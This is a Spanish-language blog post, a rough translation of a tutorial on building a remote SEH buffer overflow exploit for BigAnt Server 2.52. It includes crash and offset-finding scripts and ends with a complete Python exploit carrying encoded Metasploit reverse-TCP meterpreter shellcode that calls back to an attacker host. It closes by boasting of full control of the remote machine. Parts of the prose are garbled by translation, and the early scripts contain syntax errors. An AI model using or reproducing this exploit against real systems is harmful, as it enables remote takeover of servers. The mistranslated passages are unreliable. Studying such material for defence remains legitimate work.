lunes, 6 de junio de 2011

Ataque Remoto de Desbordamiento de Bufer

Saludos Mundo libre.

He aqui un exelente articulo sobre Ataque Remoto de Desbordamiento de Bufer

Segun wikipedia es:

"Un exploit remoto funciona a través de una red y explota la vulnerabilidad de la seguridad sin ningún tipo de acceso previo al sistema vulnerable."



En este artículo, voy a tratar de explicar los conceptos de exploits de desbordamiento de búfer remoto desde una perspectiva práctica. Esto no explica los conceptos de sistema operativo y del procesador que son muy necesarios para entender el proceso de desarrollo de explotar, no importa que usted está jugando con una aplicación compleja o una sencilla aplicación. Por lo tanto, se asume que los lectores tengan un conocimiento general acerca de hazañas.

Aquí vamos a aprender a explotar la vulnerabilidad de desbordamiento de búfer en el control remoto del servidor BigAnt

Vulnerabilidad

Una vulnerabilidad ha sido identificada en BigAnt Server, que podría ser explotada por atacantes remotos para comprometer un sistema vulnerable. Este problema es causado por un desbordamiento de búfer al procesar una demasiado larga "USV" solicitud, que podría ser explotada por atacantes remotos accidente un servidor afectado o ejecutar código arbitrario mediante el envío de un paquete especialmente diseñado al puerto 6660/TCP.
(Fuente: Vupen)

Como se puede ver en el asesoramiento que la aplicación es propenso al desbordamiento del búfer, la notificación de la solicitud "USV". Por lo tanto, sobre la base de esta información empezamos nuestro viaje de la explotación del desarrollo.

Explotar Proceso de desarrollo

Ahora, para comprobar la vulnerabilidad que nos rápidamente escribir un script en Python que enviará la A 3000 (se puede elegir este valor de acuerdo a sus necesidades?) para la aplicación con "USV" petición.

#!/usr/bin/python

import sys, socket
host = sys.argv[1] #command line argument
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n)
s.close()
#End

chmod u+x bigant.py

Ejecutamos el script




Como se puede ver en la figura que estado de la aplicación es "detenido" significa que verificar que la aplicación es vulnerable al desbordamiento del búfer y también nos da una idea de que 3000 A son suficientes para desencadenar el desbordamiento. Ahora nuestro próximo paso es averiguar el tipo de desbordamiento de medios directos o sobrescribir EIP SEH (Structured Exception Handler) y sobrescribir los medios desplazamiento correcto después de cuántos bytes EIP y SEH sobrescribir ocurrir.

Sobre la base del estudio de antecedentes de aplicación que se puede decir que directa sobrescribir EIP no es posible, pero la aplicación permite sobrescribir SEH por lo que aprovechar la aplicación que utiliza SEH sobrescribir el método. Ahora tenemos que averiguar el desplazamiento, los medios después de la cantidad de bytes SEH sobrescribir ocurrir. Para ello vamos a utilizar secuencias de comandos pattern_create Metasploit que generan cadena de secuencia aleatoria.


En Backtrack4 navegamos en  / pentest/exploits/framework3/tools

Execute ./pattern_create.rb 3000

copia y pega la salida en el script de arriba. Ahora secuencia de comandos tiene este aspecto. herramientas

#!/usr/bin/python
import sys, socket
host = sys.argv[1] #command line argument
buffer = ("Aa0Aa1Aa2Aa3Aa..v4Dv5Dv6Dv7Dv8Dv9) #size 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STRAEM) #for Tcp
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n)
s.close()
#End

Ahora conecte la aplicación a la depuración (olly Ollydbg o inmunidad o cualquier otro). En depurador vaya a Archivo-> Agregar y elija TCP antserver 6660 y haga clic en el botón Adjuntar. Luego haga clic en el botón inicio depurador como se muestra en la pantalla de abajo.



Ahora todo está en marcha, ejecutar el script.

./bigant.py 192.168.1.2

 Nuestro depurador este aspecto,


Como se puede ver en el depurador que SEH puntero a grabar y controlador de Sony Ericsson se sobrescriben con los datos aleatorios medios

013CFD7C 31674230 0Bg1 Pointer to next SEH record
013CFD80 42326742 Bg2B SE handler

Y la salida será 966 significa que después de 966 bytes nuestra seh sobrescribir ocurrir. Menos de 4 bytes para el registro seh siguiente y ahora tenemos 962 bytes. Eso es todo lo que necesitamos. Ahora nuestra tarea es encontrar el ret pop pop. Pero antes de que me gustaría explicar algo. En un desbordamiento seh general explotar que sobrescribir el controlador de Sony Ericsson con ret pop pop y el puntero al siguiente registro Seh con un salto corto que saltar sobre el controlador de Sony Ericsson. Medios situación se parece a esto,

[aaaa...][short jump][pop pop ret][nops..][shellcode][nops] ^------------------------?^

salto salto corto sobre ret pop pop y la tierra en nops y luego ejecutar código shell. Pero en este trabajo que estoy utilizando un enfoque diferente, y este enfoque es el más ampliamente utilizado para eludir seh seguro. Los medios en lugar de saltar por encima de SE Handler ¿por qué no volver a saltar a través de salto corto .. significa que la situación se parece a esto ..

[nops][shellcode][near jump][short jump][pop pop ret] ^?----------------^ ^?-----------<^

Vea la diferencia entre ambos esquemas, tomar algún tiempo para entender esto. Ahora la pregunta es por qué utilizar dos saltos? porque no podemos ir de nuevo a través de 900 bytes salto corto así que tenemos que utilizar un salto de cerca. Saltamos por primera vez en el salto de cerca de través de salto corto y luego volver a saltar a través de nops cerca y técnicamente hablando podemos parcial sobrescribir el controlador de Sony Ericsson (ret pop pop) como lo hacemos en la mayoría de los casos y que funcionan bien para la mayoría de los aplicaciones.

Pero la aplicación (BigAnt Server) es un poco diferente y no permitir que el parcial sobrescribir. (Un poco jugar con la aplicación e identificar el problema?) Ahora es el momento para buscar un ret pop pop, puede utilizar la herramienta findjump o depuradores para averiguar las direcciones. La dirección que estoy utilizando es 0f9a3295.

Así que la estructura final es explotar, como a continuación,

[nops][shellcode][nops][near jump][short jump][pop pop ret]

Nops = "\x90" * 20
Shellcode = from metasploit #using 643 byte shellcode
Nops = "\x90"* 294
Near jump = "\xe9\x4c\xfc\xff\xff" #jump into nop sled (5bytes)
------------962 bytes-------------- #jump 5 byte back means on near jump
Pop pop ret = "\x95\x32\x9a\x0f" #little endian

Debido a las limitaciones de la aplicación hay que añadir un poco de basura después de ret pop pop y esta es la razón principal de que no podemos parcial sobrescribir el registro

Garbage = "\x41"* 1000

Ahora todo está en posición de nalgas .. donde se permite código shell se puede generar un código shell meterpreter inversa. Aquí está el comando

#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | ./msfencode -e x86/alpha_mixed -t c

Aviso de la tubería (|) en el comando anterior (después de R) .. Ahora todo está listo. Ponga todas las cosas en el guión.

#!/usr/bin/python
#BigAnt Server 2.52 remote buffer overflow exploit 2
#Author: DouBle_Zer0
#Vulnerability discovered by Lincoln
#a another version of the original exploit (by Lincoln)
#application is little hazy..

import sys,socket
host = sys.argv[1]
buffer= "\x90" * 20

#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R | ./msfencode -e x86/alpha_mixed -t c #size 643 byte

buffer+= ("\x89\xe1\xd9\xce\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4c\x49\x47\x70\x43\x30\x47\x70\x45\x30\x4f\x79"
"\x4a\x45\x50\x31\x49\x42\x45\x34\x4e\x6b\x42\x72\x50\x30\x4e"
"\x6b\x50\x52\x44\x4c\x4c\x4b\x51\x42\x47\x64\x4e\x6b\x51\x62"
"\x44\x68\x46\x6f\x4d\x67\x50\x4a\x51\x36\x45\x61\x4b\x4f\x44"
"\x71\x49\x50\x4c\x6c\x45\x6c\x50\x61\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x4a\x61\x4a\x6f\x44\x4d\x46\x61\x4a\x67\x4b\x52\x4a"
"\x50\x42\x72\x50\x57\x4c\x4b\x42\x72\x44\x50\x4e\x6b\x42\x62"
"\x45\x6c\x47\x71\x48\x50\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x50\x74\x50\x4a\x47\x71\x48\x50\x50\x50\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x51\x48\x47\x50\x43\x31\x49\x43\x49\x73\x47"
"\x4c\x51\x59\x4c\x4b\x45\x64\x4c\x4b\x43\x31\x4b\x66\x44\x71"
"\x49\x6f\x50\x31\x4f\x30\x4e\x4c\x49\x51\x48\x4f\x46\x6d\x43"
"\x31\x4a\x67\x44\x78\x49\x70\x51\x65\x4a\x54\x45\x53\x51\x6d"
"\x4a\x58\x45\x6b\x43\x4d\x51\x34\x43\x45\x48\x62\x43\x68\x4e"
"\x6b\x46\x38\x51\x34\x43\x31\x4b\x63\x45\x36\x4e\x6b\x44\x4c"
"\x50\x4b\x4c\x4b\x43\x68\x47\x6c\x46\x61\x4e\x33\x4c\x4b\x44"
"\x44\x4c\x4b\x47\x71\x4a\x70\x4c\x49\x43\x74\x51\x34\x51\x34"
"\x43\x6b\x51\x4b\x50\x61\x42\x79\x51\x4a\x46\x31\x4b\x4f\x49"
"\x70\x46\x38\x43\x6f\x51\x4a\x4e\x6b\x42\x32\x48\x6b\x4d\x56"
"\x43\x6d\x50\x68\x46\x53\x46\x52\x45\x50\x43\x30\x43\x58\x43"
"\x47\x50\x73\x50\x32\x43\x6f\x42\x74\x45\x38\x50\x4c\x43\x47"
"\x46\x46\x47\x77\x49\x6f\x4b\x65\x4c\x78\x4e\x70\x45\x51\x47"
"\x70\x47\x70\x45\x79\x48\x44\x43\x64\x42\x70\x42\x48\x44\x69"
"\x4b\x30\x42\x4b\x47\x70\x4b\x4f\x48\x55\x50\x50\x46\x30\x46"
"\x30\x46\x30\x43\x70\x50\x50\x47\x30\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x49\x70\x4b\x4f\x4b\x65\x4a\x37\x50\x6a\x44"
"\x45\x43\x58\x4f\x30\x4e\x48\x47\x71\x44\x43\x45\x38\x45\x52"
"\x43\x30\x44\x51\x43\x6c\x4e\x69\x49\x76\x50\x6a\x42\x30\x50"
"\x56\x46\x37\x50\x68\x4a\x39\x4d\x75\x44\x34\x50\x61\x4b\x4f"
"\x4b\x65\x4f\x75\x4b\x70\x42\x54\x44\x4c\x4b\x4f\x42\x6e\x47"
"\x78\x44\x35\x4a\x4c\x43\x58\x4a\x50\x48\x35\x4d\x72\x43\x66"
"\x4b\x4f\x4a\x75\x50\x6a\x47\x70\x43\x5a\x45\x54\x46\x36\x43"
"\x67\x42\x48\x44\x42\x49\x49\x4f\x38\x51\x4f\x4b\x4f\x4b\x65"
"\x4e\x6b\x47\x46\x50\x6a\x51\x50\x42\x48\x45\x50\x42\x30\x43"
"\x30\x45\x50\x50\x56\x42\x4a\x45\x50\x42\x48\x51\x48\x4c\x64"
"\x46\x33\x4a\x45\x49\x6f\x4e\x35\x4a\x33\x43\x63\x42\x4a\x45"
"\x50\x46\x36\x43\x63\x50\x57\x50\x68\x44\x42\x48\x59\x4f\x38"
"\x43\x6f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x51\x39\x4f\x36\x4c"
"\x45\x49\x66\x43\x45\x48\x6c\x4b\x73\x44\x4a\x41\x41")

buffer+= "\x90" * 294
buffer+= "\xe9\x4c\xfc\xff\xff" #near jmp -----> shellcode
buffer+= "\xeb\xf9\x90\x90" #short jmp ----> near jmp
buffer+= "\x95\x32\x9a\x0f" #p/p/r(partial overwrite is not possible as far as i know)
buffer+= "\x41" * 1000 #play

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n")

s.close()


Inicio controlador de Metasploit múltiples y la cáscara meterpreter boom está en tus manos .. Ahora usted puede controlar el equipo remoto y se puede hacer nada significa nada


Seguir Nota :http://securityxploded.com/remote-buffer-overflow-exploits.php

Author :Amit Malik aka DouBle_Zer0
Fuente :
http://securityxploded.com/remote-buffer-overflow-exploits.php

Traduccion: Dellcom1a@

Saludos Mundo libre.

1 comentario: